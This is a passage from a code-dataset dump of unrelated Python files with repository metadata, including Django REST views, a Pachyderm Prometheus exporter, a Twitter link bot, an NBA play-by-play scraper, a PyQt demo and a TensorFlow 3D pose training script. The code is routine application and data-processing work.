(IsAuthenticated,)\n authentication_classes = (TokenAuthentication,)\n queryset = Circuit.objects.all().order_by('num_circuit')\n serializer_class = CircuitList\n\n\nclass TransitCreateAPIView(CreateAPIView):\n queryset = Transit.objects.all()\n serializer_class = TransitCreateSerializer\n permission_classes = (IsAuthenticated, IsPervichkaOnly | SuperUser, IngenerUser | SuperUser)\n\n def create(self, request, *args, **kwargs):\n serializer = self.get_serializer(data=request.data)\n serializer.is_valid(raise_exception=True)\n new_trassa = set(Object.objects.get(id=pk) for pk in request.data[\"trassa\"])\n if self.request.data[\"create_circuit_transit\"]:\n if not check_circuit_transit(new_trassa):\n return Response({\"detail\": \"Транзит провести нельзя, оконечный объект трассы участвует в транзите\"},\n status=status.HTTP_403_FORBIDDEN)\n for obj in new_trassa:\n for bridge in obj.bridges.filter(transit__create_circuit_transit=True):\n bridge.transit.create_circuit_transit = False\n bridge.transit.save()\n\n self.perform_create(serializer)\n headers = self.get_success_headers(serializer.data)\n return Response(serializer.data, status=status.HTTP_201_CREATED, headers=headers)\n\n def perform_create(self, serializer):\n instance = serializer.save()\n bridge = set(self.request.data[\"can_see\"])\n for obj_id in bridge:\n Bridge.objects.create(object_id=obj_id, transit=instance)\n create_circuit_transit(instance)\n\n\nclass RetrieveUpdateDelete(RetrieveUpdateDestroyAPIView):\n queryset = Transit.objects.all()\n lookup_field = \"pk\"\n serializer_class = TransitCreateSerializer\n permission_classes = (IsAuthenticated, IsPervichkaOnly | SuperUser, IngenerUser | SuperUser)\n\n def retrieve(self, request, *args, **kwargs):\n instance = self.get_object()\n serializer = TransitDetailSerializer(instance)\n return Response(serializer.data)\n\n def update(self, request, *args, **kwargs):\n partial = kwargs.pop('partial', False)\n instance = self.get_object()\n serializer = self.get_serializer(instance, data=request.data, partial=partial)\n serializer.is_valid(raise_exception=True)\n prev_trassa = set(instance.trassa.all())\n new_trassa = set(Object.objects.get(id=pk) for pk in self.request.data[\"trassa\"])\n deleted_object = prev_trassa - new_trassa\n\n if self.request.data[\"create_circuit_transit\"]:\n if not check_circuit_transit(deleted_object):\n return Response({\n \"detail\": \"Подчиненные каналы состоят в трассах, которые выходят за рамки расформировываемого.\"},\n status=status.HTTP_403_FORBIDDEN)\n\n if not check_circuit_transit(new_trassa):\n return Response({\"detail\": \"Транзит провести нельзя, оконечный объект трассы участвует в транзите\"},\n status=status.HTTP_403_FORBIDDEN)\n added_object = new_trassa - prev_trassa\n\n for obj in added_object:\n for bridge in obj.bridges.filter(transit__create_circuit_transit=True):\n bridge.transit.create_circuit_transit = False\n bridge.transit.save()\n\n trassa = serializer.save()\n trassa.can_see.all().delete()\n bridge = self.request.data[\"can_see\"]\n\n for obj_id in bridge:\n Bridge.objects.create(object_id=obj_id, transit=trassa)\n\n if self.request.data[\"create_circuit_transit\"]:\n create_circuit_transit(trassa)\n for deleted_object in prev_trassa - set(trassa.trassa.all()):\n\n for circuit in deleted_object.circuit_object_parent.all():\n if not circuit.trassa or circuit.trassa.obj_trassa == instance:\n circuit_transit = CircuitTransit.objects.create()\n circuit_transit.trassa.add(circuit)\n circuit.trassa = circuit_transit\n circuit.is_modified = False\n circuit.save()\n\n if getattr(instance, '_prefetched_objects_cache', None):\n # If 'prefetch_related' has been applied to a queryset, we need to\n # forcibly invalidate the prefetch cache on the instance.\n instance._prefetched_objects_cache = {}\n\n return Response(serializer.data)\n\n def perform_destroy(self, instance):\n if instance.create_circuit_transit:\n if not check_circuit_transit(instance.trassa.all()):\n return Response({\"detail\": \"Удалить нельзя, объекты участвуют в транзите\"},\n status=status.HTTP_403_FORBIDDEN)\n\n for obj in instance.trassa.all().iterator():\n\n for circuit in obj.circuit_object_parent.all():\n if not circuit.trassa or circuit.trassa.obj_trassa == instance:\n circuit_transit = CircuitTransit.objects.create()\n circuit_transit.trassa.add(circuit)\n circuit.trassa = circuit_transit\n circuit.is_modified = False\n circuit.save()\n instance.delete()\n\n\nclass TransitListAPIView(APIView):\n permission_classes = (IsAuthenticated,)\n authentication_classes = (TokenAuthentication,)\n\n def get(self, request, pk):\n obj = get_object_or_404(Object, pk=pk)\n serializer = BridgeListSerializer(obj.bridges.all(), many=True)\n return Response(serializer.data)\n","repo_name":"ainurabek/ouss","sub_path":"apps/opu/objects/trassa.py","file_name":"trassa.py","file_ext":"py","file_size_in_byte":9441,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"13511203858","text":"import argparse\nfrom prometheus_client import start_http_server, Gauge\nimport time\nimport python_pachyderm\n\ngauges = dict()\nsuccescounters = dict()\nfailcounters = dict()\n\n\ndef update_gauges(client):\n global gauges\n pipelines = client.list_pipeline().pipeline_info\n for pipeline in pipelines:\n name = str(pipeline.pipeline.name).replace(\"-\", \"_\")\n if name in gauges:\n print(\"{} updated\".format(name))\n gauges[name].set(pipeline.last_job_state)\n # if pipeline.job_counts[3] > succescounters[name]:\n # gauges[name].set(0)\n # succescounters[name] = pipeline.job_counts[3]\n # if pipeline.job_counts[2] > failcounters[name]:\n # gauges[name].set(1)\n # succescounters[name] = pipeline.job_counts[2]\n\n\ndef main():\n global gauges\n args = parse_args()\n port = args.port\n host = args.host\n\n pachyclient = python_pachyderm.Client().new_from_pachd_address(\"{}:{}\".format(host, port))\n start_http_server(port=9426)\n pipelines = pachyclient.list_pipeline().pipeline_info\n for pipeline in pipelines:\n name = str(pipeline.pipeline.name).replace(\"-\", \"_\")\n\n last_job_state = pipeline.last_job_state\n g = Gauge(\"{}_last_job\".format(name),\n \"Last Job status of pipeline {}\".format(name))\n gauges[name] = g\n succescounters[name] = pipeline.job_counts[3]\n failcounters[name] = pipeline.job_counts[2]\n while True:\n update_gauges(pachyclient)\n time.sleep(60)\n\n\ndef parse_args(args=None):\n parser = argparse.ArgumentParser(description='Prometheus exporter for PachyDerm metrics')\n parser.add_argument(\"-i\", \"--host\", type=str, default=\"pachd\", help=\"Host of pachd\")\n parser.add_argument(\"-p\", \"--port\", type=int, default=30650,\n help=\"port number\")\n\n return parser.parse_args(args=args)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"DjankoSkalidge/pychyderm-exporter","sub_path":"src/pychyderm-exporter.py","file_name":"pychyderm-exporter.py","file_ext":"py","file_size_in_byte":1963,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"10736178244","text":"import tweepy\nimport json\nfrom pprint import pprint\nfrom time import sleep\nfrom pyshorteners import Shortener\nfrom credentials import *\nimport datetime\n\nauth = tweepy.OAuthHandler(consumer_key, consumer_secret)\nauth.set_access_token(access_token, access_token_secret)\napi = tweepy.API(auth)\n\nshortener = Shortener('Isgd')\n\nwith open('punten.json') as data_file:\n data = json.load(data_file)\n\ncount_read = open(\"count.txt\", \"r\")\ncount = int(count_read.read())\ncount_read.close()\n\nnow = datetime.datetime.now().strftime('%Y-%m-%d-%H-%M-%S')\n\ndef update_status():\n if count <= len(data):\n item = data[count]\n text = item[\"tekst\"][:115]\n base_long_url = 'https://programma.gl/'\n slug = item[\"slug\"]\n long_url = base_long_url + slug\n short_url = shortener.short(long_url)\n tweet = text + '…—' + short_url\n try:\n api.update_status(tweet)\n new_count = count + 1\n count_write = open(\"count.txt\", \"w\")\n count_write.truncate()\n count_write.write(str(new_count))\n count_write.close()\n log_write = open(\"log.txt\", \"w\")\n log_write.write(str(now + ' - ' + tweet))\n log_write.close()\n except tweepy.TweepError as e:\n log_write = open(\"log.txt\", \"w\")\n log_write.write(str(now + ' - ' + e.reason))\n log_write.close()\n\nupdate_status()\n","repo_name":"programmaGL/glbot","sub_path":"glbot.py","file_name":"glbot.py","file_ext":"py","file_size_in_byte":1422,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"1384664866","text":"from gazpacho import get, Soup\nimport time\nfrom tqdm import tqdm\nimport pandas as pd\nimport numpy as np\nimport re\nimport datetime as DT\n\ndef get_pbp_links(url):\n html = get(url)\n soup = Soup(html)\n data = soup.find('td', {'data-stat': 'date_game'})\n links = [l.find('a') for l in data]\n pbp_links = [\"https://www.basketball-reference.com\" + l.attrs['href'].replace('scores/','scores/pbp/') for l in links]\n return pbp_links\n\ndef get_table_data(url):\n html = get(url)\n soup = Soup(html)\n table = soup.find('table', {'id': 'pbp'})\n table_data = table.find('td', {'class': 'center'})\n scores = [t.text for t in table_data]\n rows = table.find('tr',strict=True)\n times = []\n for i in rows:\n try:\n time = i.find('td', mode='first')\n times.append(time.text)\n except (IndexError, TypeError) as e:\n pass\n return scores, times\n\ndef time_played(times,scores):\n q1 = DT.datetime(1900,1,1,0,12)\n q2 = DT.datetime(1900,1,1,0,24)\n q3 = DT.datetime(1900,1,1,0,36)\n q4 = DT.datetime(1900,1,1,0,48)\n ot1 = DT.datetime(1900,1,1,0,53)\n ot2 = DT.datetime(1900,1,1,0,58)\n ot3 = DT.datetime(1900,1,1,1,3)\n ot4 = DT.datetime(1900,1,1,1,8)\n ot5 = DT.datetime(1900,1,1,1,13)\n\n second_quart_counter = 0\n third_quart_counter = 0\n fourth_quart_counter = 0\n ot_counter = 0\n time_played = []\n\n for t,s in zip(times,scores):\n t = DT.datetime.strptime(t, '%M:%S')\n if 'Start of 2nd quarter' in s:\n second_quart_counter += 1\n elif 'Start of 3rd quarter' in s:\n third_quart_counter += 1\n elif 'Start of 4th quarter' in s:\n fourth_quart_counter += 1\n elif ('Start' in s) & ('overtime' in s):\n ot_counter += 1\n elif 'End of 2nd quarter' in s:\n second_quart_counter -= 1\n elif 'End of 3rd quarter' in s:\n third_quart_counter -= 1\n elif 'End of 4th quarter' in s:\n fourth_quart_counter -= 1\n\n if second_quart_counter == 1:\n t = (q2-t).total_seconds()/60\n time_played.append(t)\n elif third_quart_counter == 1:\n t = (q3-t).total_seconds()/60\n time_played.append(t)\n elif fourth_quart_counter == 1:\n t = (q4-t).total_seconds()/60\n time_played.append(t)\n elif ot_counter == 1:\n t = (ot1-t).total_seconds()/60\n time_played.append(t)\n elif ot_counter == 2:\n t = (ot2-t).total_seconds()/60\n time_played.append(t)\n elif ot_counter == 3:\n t = (ot3-t).total_seconds()/60\n time_played.append(t)\n elif ot_counter == 4:\n t = (ot4-t).total_seconds()/60\n time_played.append(t)\n elif ot_counter == 5:\n t = (ot5-t).total_seconds()/60\n time_played.append(t)\n else:\n t = (q1-t).total_seconds()/60\n time_played.append(t)\n return time_played\n\ndef strip_score(score):\n home = []\n away = []\n for s in score:\n h = re.findall(r'[0-9]{1,3}$',s)[0]\n a = re.findall(r'^[0-9]{1,3}',s)[0]\n home.append(h)\n away.append(a)\n return home, away\n\ndef get_data(url):\n scores, times = get_table_data(url)\n\n df = pd.DataFrame({\n 'time': times,\n 'score': scores\n })\n\n df['time'] = df['time'].apply(lambda x:re.findall(r'[0-9]{1,2}:[0-9]{2}',x)[0])\n\n df['time'] = time_played(df['time'],df['score'])\n\n #remove duplicates\n df.drop_duplicates(inplace=True)\n\n # remove indicator of start/end of quarter\n df = df[df['score'].str.contains('-')]\n\n home, away = strip_score(df['score'])\n df['home'] = home\n df['away'] = away\n\n df.drop('score',axis=1,inplace=True)\n df['home'] = df['home'].astype(int)\n df['away'] = df['away'].astype(int)\n\n home_win = df['home'].iloc[-1] > df['away'].iloc[-1]\n df['home_win'] = [home_win] * len(df['home'])\n\n return df\n\n# Base url for season 2017-2018\nseason_17_18_base_url = \"https://www.basketball-reference.com/play-index/tgl_finder.cgi?request=1&match=game&lg_id=NBA&team_seed_cmp=eq&opp_seed_cmp=eq&year_min=2018&year_max=2018&is_range=N&game_num_type=team&order_by=date_game\"\n# Base url for season 2018-2019\nseason_18_19_base_url = \"https://www.basketball-reference.com/play-index/tgl_finder.cgi?request=1&match=game&lg_id=NBA&team_seed_cmp=eq&opp_seed_cmp=eq&year_min=2019&year_max=2019&is_range=N&game_num_type=team&order_by=date_game\"\n\n# Get 2018-2019 season game links\n# New list to store links to play by play data\npbp_links_17_18 = get_pbp_links(season_17_18_base_url)\n\n# loop through season 17_18 games and save play by play(pbp) game urls into season_17_18_url\n# change url offset\nfor _ in tqdm(range(100, 2624, 100)):\n offset = _\n season_17_18_url = f\"https://www.basketball-reference.com/play-index/tgl_finder.cgi?request=1&player=&match=game&lg_id=NBA&year_min=2018&year_max=2018&team_id=&opp_id=&is_range=N&is_playoffs=&round_id=&best_of=&team_seed=&opp_seed=&team_seed_cmp=eq&opp_seed_cmp=eq&game_num_type=team&game_num_min=&game_num_max=&game_month=&game_location=&game_result=&is_overtime=&c1stat=&c1comp=&c1val=&c2stat=&c2comp=&c2val=&c3stat=&c3comp=&c3val=&c4stat=&c4comp=&c4val=&order_by=date_game&order_by_asc=&offset={offset}\"\n links = get_pbp_links(season_17_18_url)\n pbp_links_17_18.extend(links)\n time.sleep(1)\n\npbp_links_17_18 = np.unique(pbp_links_17_18)\n\n# Get 2018-2019 season game links\npbp_links_18_19 = get_pbp_links(season_18_19_base_url)\n\n# loop through season 18_19 games\n# change url offset\nfor _ in tqdm(range(100, 2624, 100)):\n offset = _\n season_18_19_url = f\"https://www.basketball-reference.com/play-index/tgl_finder.cgi?request=1&player=&match=game&lg_id=NBA&year_min=2019&year_max=2019&team_id=&opp_id=&is_range=N&is_playoffs=&round_id=&best_of=&team_seed=&opp_seed=&team_seed_cmp=eq&opp_seed_cmp=eq&game_num_type=team&game_num_min=&game_num_max=&game_month=&game_location=&game_result=&is_overtime=&c1stat=&c1comp=&c1val=&c2stat=&c2comp=&c2val=&c3stat=&c3comp=&c3val=&c4stat=&c4comp=&c4val=&order_by=date_game&order_by_asc=&offset={offset}\"\n links = get_pbp_links(season_18_19_url)\n pbp_links_18_19.extend(links)\n time.sleep(1)\n\npbp_links_18_19 = np.unique(pbp_links_18_19)\n\n# Define table for 17-18 data\ndf_17_18 = pd.DataFrame({\n 'time':[] ,\n 'home':[] ,\n 'away':[],\n 'home_win':[]\n})\n\n\n# Loop through the links in 17-18 season games and add all data into df_17_18\nfor l in tqdm(pbp_links_17_18):\n try:\n data = get_data(l)\n df_17_18 = df_17_18.append(data)\n time.sleep(1)\n except ValueError:\n pass\n\n# Define table for 18-19 data\ndf_18_19 = pd.DataFrame({\n 'time': [],\n 'home': [],\n 'away': [],\n 'home_win':[]\n})\n\n# Loop through the links in 18-19 season games and add all data into df_18_19\nfor l in tqdm(pbp_links_18_19):\n try:\n data = get_data(l)\n df_18_19 = df_18_19.append(data)\n time.sleep(1)\n except ValueError:\n pass\n\n# Export 17-18 season game data to csv\ndf_17_18.to_csv('/home/nthock/Documents/capstone/data/season_17_18.csv', index=False)\n\n# Export 18-19 season game data to to_csv\ndf_18_19.to_csv('/home/nthock/Documents/capstone/data/season_18_19.csv', index=False)\n","repo_name":"teckhockng/capstone","sub_path":"scrape.py","file_name":"scrape.py","file_ext":"py","file_size_in_byte":7331,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"71356047788","text":"def multiply_arrays(array1, array2):\n result = []\n number_of_iterations = 0\n\n for number1 in array1:\n print(f'Array 1: {number1}')\n for number2 in array2:\n print(f'Array 2: {number2}')\n result.append(number1 * number2)\n number_of_iterations += 1\n\n print(f'{number_of_iterations} iterações!')\n return result\n\n # sum_array(array_com_dois_mil_numeros)\n # O tempo de execução deste algoritmo foi 0.45s\n\n # sum_array(array_com_quatro_mil_numeros)\n # Já esse teve tempo de execução de 1.8s, cerca de quatro vezes maior.\n\n\nmeu_array = [1,2,3,4,5]\n\nmultiply_arrays(meu_array, meu_array)\n\n# para um algoritmo O(n²) , aumentar a entrada em n vezes, aumenta o tempo de execução em n² vezes!\n\n\"\"\" 25 iterações! \"\"\"","repo_name":"DiSerafim/trybe-exercises","sub_path":"ciencia-computacao/bloco_35-algoritimos/35.1-complexidade-de-algoritmos/complexidade-quadratica.py","file_name":"complexidade-quadratica.py","file_ext":"py","file_size_in_byte":789,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"25724511326","text":"# PyQt progressbar\n\n# Example : QProgressBar ()\n\n\nimport sys\nfrom PyQt5.QtWidgets import *\nfrom PyQt5.QtGui import *\nfrom PyQt5.QtCore import *\n\nclass ProgressBar(QWidget): # child class\n\n def __init__(self): # child class constructor\n super().__init__() # parent class constructor\n\n self.window() # function calling inside child class constructor\n\n def window(self): # function\n\n self.label = QLabel(\"ProgressBar\",self) # initializing QLable with name 'ProgressBar'\n self.label.move(140,80) # lable position\n self.label.setFont(QFont(\"Aerial\",12)) # lable font\n\n self.pbar = QProgressBar(self) # initializing QProgressBar()\n self.pbar.setGeometry(100,120,250,25) # pbar position and size\n\n self.button = QPushButton(\"Start\",self) # initializing QPushButton()\n self.button.move(160,160)\n self.button.clicked.connect(self.doAction) # when the the button se pressed doAction function is called\n\n self.timer = QBasicTimer() # initializing QBasicTimer() for time events\n self.step = 0 # initilaizing a variable step\n\n self.setGeometry(300,300,400,250) # main window position and size\n self.setWindowTitle(\"PyQt ProgressBar\") # main window title\n self.show() # showing all the windows\n\n def timerEvent(self,e): # timerEvent function from QBasicTimer for handling time event\n if self.step >= 100: # condition\n self.timer.stop() # stop timer\n self.button.setText('Finished') # changing button text\n return\n\n self.step = self.step + 1 # incrementing step variable\n self.pbar.setValue(self.step) # setting pbar value \n\n def doAction(self): # doAction function for handling button pressing\n if self.timer.isActive(): # condition\n self.timer.stop() # stop timer\n self.button.setText(\"Start\") # change button text\n else:\n self.timer.start(100,self) # start timer with 100 miliseconds\n self.button.setText(\"Stop\") # change button text\n\ndef main():\n app = QApplication(sys.argv)\n ProgressBar_Obj = ProgressBar()\n sys.exit(app.exec_())\n\nif __name__==\"__main__\":\n main()","repo_name":"ankit-0044/Python","sub_path":"Python Gui/10.01_QProgressBar.py","file_name":"10.01_QProgressBar.py","file_ext":"py","file_size_in_byte":2579,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"1230030282","text":"# Exploratory Data Analysis\r\n\r\nimport numpy as np\r\nimport pandas as pd\r\nimport matplotlib.pyplot as plt\r\n\r\ndataset = pd.read_csv('structred_data.csv')\r\ndataset.head()\r\ndataset.columns\r\n\r\ndf = dataset.iloc[:, 1: ]\r\ndf.columns\r\n\r\n# removing duplicate data\r\n\r\ncountry= df['Country_Name'].value_counts()\r\nregion= df['Region'].value_counts()\r\ncity= df['City'].value_counts()\r\n\r\ndf.describe()\r\ndf.dtypes\r\n\r\nfrom datetime import datetime,time\r\n\r\ndate= []\r\ntime= []\r\nfor i in range(0, 127826):\r\n a=i\r\n aa = df.timestamp[i][0:10]\r\n date.append(aa)\r\n ab = df.timestamp[i][11:-1]\r\n time.append(ab)\r\n\r\ndate.append(df.timestamp[125825][0:10])\r\ntime.append(df.timestamp[125825][11:-1])\r\n\r\n# Creating a Date column to store the actual Date format for the given Month column\r\ndf[\"Date\"] = date\r\ndf[\"time\"] = time\r\n\r\n\r\ndf[\"Date\"]= pd.to_datetime(df.Date)\r\ndf[\"time\"]= pd.to_datetime(df.time)\r\n\r\n\r\n\r\ndf[\"Date1\"] = pd.to_datetime(df.Date,format=\"%b-%y\")\r\n\r\n# Extracting Day, weekday name, month name, year from the Date column using \r\n# Date functions from pandas \r\n\r\ndf[\"month\"] = df.Date1.dt.strftime(\"%b\") # month extraction\r\ndf[\"Day\"] = df.Date1.dt.strftime(\"%d\") # Day extraction\r\ndf[\"wkday\"] = df.Date1.dt.strftime(\"%A\") # weekday extraction\r\ndf[\"year\"] = df.Date1.dt.strftime(\"%Y\") # year extraction\r\n\r\ndf.columns\r\n\r\nnew_df= df[['Date', 'time', 'Date1', 'month','Day', 'wkday', 'year', 'Unread','IP', \r\n 'Country_Code','Country_Name', 'Region', 'City','User_Agent', \r\n 'Platform', 'Browser']]\r\n\r\nnew_df.to_csv('cleaned_structred_data.csv')\r\n","repo_name":"amitdivekar30/-Topic-Mining-Exploratory-Analysis","sub_path":"EDA_structred_Data.py","file_name":"EDA_structred_Data.py","file_ext":"py","file_size_in_byte":1566,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"28894746173","text":"from django.forms import model_to_dict\nfrom django.shortcuts import get_object_or_404\nfrom rest_framework.views import APIView\nfrom rest_framework.response import Response\nfrom rest_framework.permissions import IsAuthenticated, IsAuthenticatedOrReadOnly\nfrom rest_framework_simplejwt.authentication import JWTAuthentication\nfrom rest_framework.response import Response\nfrom .models import Movie\nfrom .serializer import MovieSerializer, MovieOrderSerializer\nfrom rest_framework.pagination import PageNumberPagination\nfrom users.permissions import IsAdminAccount\nimport ipdb\n\n\n# Create your views here.\nclass MoviesView(APIView, PageNumberPagination):\n authentication_classes = [JWTAuthentication]\n permission_classes = [IsAuthenticatedOrReadOnly, IsAdminAccount]\n\n def get(self, req):\n movies = Movie.objects.all()\n pages = self.paginate_queryset(movies, req)\n serializer = MovieSerializer(pages, many=True)\n return self.get_paginated_response(serializer.data)\n\n def post(self, req):\n self.check_object_permissions(req, obj=None)\n serializer = MovieSerializer(data=req.data)\n serializer.is_valid(raise_exception=True)\n serializer.save(user=req.user)\n return Response(serializer.data, 201)\n\n\nclass MoviesDetailsView(APIView):\n authentication_classes = [JWTAuthentication]\n permission_classes = [IsAuthenticatedOrReadOnly, IsAdminAccount]\n\n def get(self, req, movie_id):\n self.check_object_permissions(req, obj=None)\n movie = get_object_or_404(Movie, id=movie_id)\n serializer = MovieSerializer(movie)\n return Response(serializer.data, 200)\n\n def delete(self, req, movie_id):\n self.check_object_permissions(req, obj=None)\n movie = get_object_or_404(Movie, id=movie_id)\n movie.delete()\n return Response(status=204)\n\n\nclass MoviesOrderView(APIView):\n authentication_classes = [JWTAuthentication]\n permission_classes = [IsAuthenticatedOrReadOnly]\n\n def post(self, req, movie_id):\n movie_find = get_object_or_404(Movie, id=movie_id)\n serializer = MovieOrderSerializer(data=req.data)\n serializer.is_valid(raise_exception=True)\n serializer.save(movie=movie_find, user=req.user)\n return Response(serializer.data, 201)\n","repo_name":"AlexsonPereira/Filmes_API_Python","sub_path":"movies/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2294,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"72948898987","text":"\n\"\"\"Predicting 3d poses from 2d joints\"\"\"\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport math\nimport os\nimport random\nimport sys\nimport time\nimport h5py\nimport copy\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom six.moves import xrange # pylint: disable=redefined-builtin\nimport tensorflow as tf\nimport procrustes\n\nimport viz\nimport cameras\nimport data_utils\nimport linear_model\nimport csv\nimport os, glob, json, tqdm\nimport numpy as np\nimport pandas as pd\n\n\ntf.app.flags.DEFINE_float(\"learning_rate\", 1e-3, \"Learning rate\")\ntf.app.flags.DEFINE_float(\"dropout\", 0.5, \"Dropout keep probability. 1 means no dropout\")\ntf.app.flags.DEFINE_integer(\"batch_size\", 36000, \"Batch size to use during training\")\ntf.app.flags.DEFINE_integer(\"epochs\", 7200, \"How many epochs we should train for\")\ntf.app.flags.DEFINE_integer(\"period_epoch_eval\", 5, \"Epoch period for evaluation and save\")\ntf.app.flags.DEFINE_boolean(\"max_norm\", True , \"Apply maxnorm constraint to the weights\")\ntf.app.flags.DEFINE_boolean(\"batch_norm\", True, \"Use batch_normalization\")\ntf.app.flags.DEFINE_boolean(\"centering_2d\", True , \"Use centering 2d around root\")\ntf.app.flags.DEFINE_string(\"optimizer\", \"Adam\", \"Optimizer to use\") # SGD / Adam\ntf.app.flags.DEFINE_integer(\"idx_split\", -1, \"index for splitubg train_val list\") # -1 ~ 7 -1: original split 0~7: newly added split\n\n# Data loading\ntf.app.flags.DEFINE_boolean(\"predict_14\", False, \"predict 14 joints\")\ntf.app.flags.DEFINE_string(\"action\",\"All\", \"The action to train on. 'All' means all the actions\")\n\n# Architecture\ntf.app.flags.DEFINE_integer(\"linear_size\", 1024, \"Size of each model layer.\")\ntf.app.flags.DEFINE_integer(\"num_layers\", 4, \"Number of layers in the model.\")\ntf.app.flags.DEFINE_boolean(\"residual\", True, \"Whether to add a residual connection every 2 layers\")\n\n# Evaluation\ntf.app.flags.DEFINE_boolean(\"for_submission\", False, \"Whether to use Test(true) or Val(not)\")\ntf.app.flags.DEFINE_boolean(\"procrustes\", True, \"Apply procrustes analysis at test time\")\ntf.app.flags.DEFINE_boolean(\"evaluateActionWise\",False, \"The dataset to use either h36m or heva\")\n\n# Directories\ntf.app.flags.DEFINE_string(\"cameras_path\",\"data/h36m/cameras.h5\",\"Directory to load camera parameters\")\ntf.app.flags.DEFINE_string(\"data_dir\", \"data/h36m_eccv18_challenge/\", \"Data directory\") #data/h36m_muzi data/h36m_eccv18_challenge/\ntf.app.flags.DEFINE_string(\"detector_2d\", \"cpm\", \"2D pose detector name\") #GT_pose_2d cpm\ntf.app.flags.DEFINE_string(\"train_dir\", \"experiments_eccv18\", \"Training directory.\")\ntf.app.flags.DEFINE_string(\"prediction_dir\", \"eccv18_out\", \"3D prediction directory\")\n\n# Train or load\ntf.app.flags.DEFINE_string(\"mode\", 'eval', \"Experiment mode\") # train / eval / generate\ntf.app.flags.DEFINE_boolean(\"use_cpu\", False, \"Whether to use the CPU\")\ntf.app.flags.DEFINE_integer(\"load\", 4241, \"Try to load a previous checkpoint.\") #7800 2400\n\n\n\n# Misc\ntf.app.flags.DEFINE_boolean(\"use_fp16\", False, \"Train using fp16 instead of fp32.\")\n\nFLAGS = tf.app.flags.FLAGS\n\n\n\nFLAGS.prediction_dir = FLAGS.prediction_dir + \"_\" + str(FLAGS.idx_split)\n\n\ntrain_dir = os.path.join( FLAGS.train_dir,\n 'split_{0}'.format(FLAGS.idx_split),\n 'dropout_{0}'.format(FLAGS.dropout),\n 'epochs_{0}'.format(FLAGS.epochs) if FLAGS.epochs > 0 else '',\n 'lr_{0}'.format(FLAGS.learning_rate),\n 'residual' if FLAGS.residual else 'not_residual',\n 'depth_{0}'.format(FLAGS.num_layers),\n 'linear_size{0}'.format(FLAGS.linear_size),\n 'batch_size_{0}'.format(FLAGS.batch_size),\n 'procrustes' if FLAGS.procrustes else 'no_procrustes',\n 'maxnorm' if FLAGS.max_norm else 'no_maxnorm',\n 'batch_normalization' if FLAGS.batch_norm else 'no_batch_normalization',\n '{0}'.format(FLAGS.detector_2d),\n # 'predict_14' if FLAGS.predict_14 else 'predict_17',\n 'center_2d' if FLAGS.centering_2d else 'not_center_2d')\n\n\nprint (train_dir)\nsummaries_dir = os.path.join( train_dir, \"log\" ) # Directory for TB summaries\n\n# To avoid race conditions: https://github.com/tensorflow/tensorflow/issues/7448\nos.system('mkdir -p {}'.format(summaries_dir))\n\ndef create_model( session, actions, batch_size, centering_2d = False, optimizer = \"Adam\", for_eccv18 = False):\n \"\"\"\n Create model and initialize it or load its parameters in a session\n\n Args\n session: tensorflow session\n actions: list of string. Actions to train/test on\n batch_size: integer. Number of examples in each batch\n Returns\n model: The created (or loaded) model\n Raises\n ValueError if asked to load a model, but the checkpoint specified by\n FLAGS.load cannot be found.\n \"\"\"\n\n model = linear_model.LinearModel(\n FLAGS.linear_size,\n FLAGS.num_layers,\n FLAGS.residual,\n FLAGS.batch_norm,\n FLAGS.max_norm,\n batch_size,\n FLAGS.learning_rate,\n summaries_dir,\n FLAGS.predict_14,\n dtype=tf.float16 if FLAGS.use_fp16 else tf.float32,\n centering_2d = centering_2d,\n optimizer = optimizer,\n for_eccv18 = for_eccv18\n )\n\n if FLAGS.load <= 0:\n # Create a new model from scratch\n print(\"Creating model with fresh parameters.\")\n session.run( tf.global_variables_initializer() )\n return model\n\n # Load a previously saved model\n ckpt = tf.train.get_checkpoint_state( train_dir, latest_filename=\"checkpoint\")\n print( \"train_dir\", train_dir )\n\n if ckpt and ckpt.model_checkpoint_path:\n # Check if the specific checkpoint exists\n if FLAGS.load > 0:\n if os.path.isfile(os.path.join(train_dir,\"checkpoint-{0}.index\".format(FLAGS.load))):\n ckpt_name = os.path.join( os.path.join(train_dir,\"checkpoint-{0}\".format(FLAGS.load)) )\n else:\n raise ValueError(\"Asked to load checkpoint {0}, but it does not seem to exist\".format(FLAGS.load))\n else:\n ckpt_name = os.path.basename( ckpt.model_checkpoint_na )\n\n print(\"Loading model {0}\".format( ckpt_name))\n # model.saver.restore( session, ckpt.model_checkpoint_path ) # critical error\n model.saver.restore(session, ckpt_name) # critical error\n\n return model\n else:\n print(\"Could not find checkpoint. Aborting.\")\n raise( ValueError, \"Checkpoint {0} does not seem to exist\".format( ckpt.model_checkpoint_path ) )\n\n return model\n\n\n\ndef train_eccv18():\n \"\"\"Train a linear model for 3d pose estimation\"\"\"\n\n actions = data_utils.define_actions( FLAGS.action )\n\n\n # Load 3d data\n train_set_3d, test_set_3d, data_mean_3d, data_std_3d, dim_to_ignore_3d, dim_to_use_3d = data_utils.read_data_eccv18(\n FLAGS.data_dir, FLAGS.centering_2d, FLAGS.detector_2d, FLAGS.idx_split, dim=3)\n\n\n train_set_2d, test_set_2d, data_mean_2d, data_std_2d, dim_to_ignore_2d, dim_to_use_2d = data_utils.read_data_eccv18(\n FLAGS.data_dir, FLAGS.centering_2d, FLAGS.detector_2d, FLAGS.idx_split, dim=2)\n\n # Avoid using the GPU if requested\n\n device_count = {\"GPU\": 0} if FLAGS.use_cpu else {\"GPU\": 1}\n with tf.Session(config=tf.ConfigProto(\n device_count=device_count,\n allow_soft_placement=True)) as sess:\n\n print(\"\\n**********************************device_count**********************************\\ndevice_count\\n\\n\\n\")\n # === Create the model 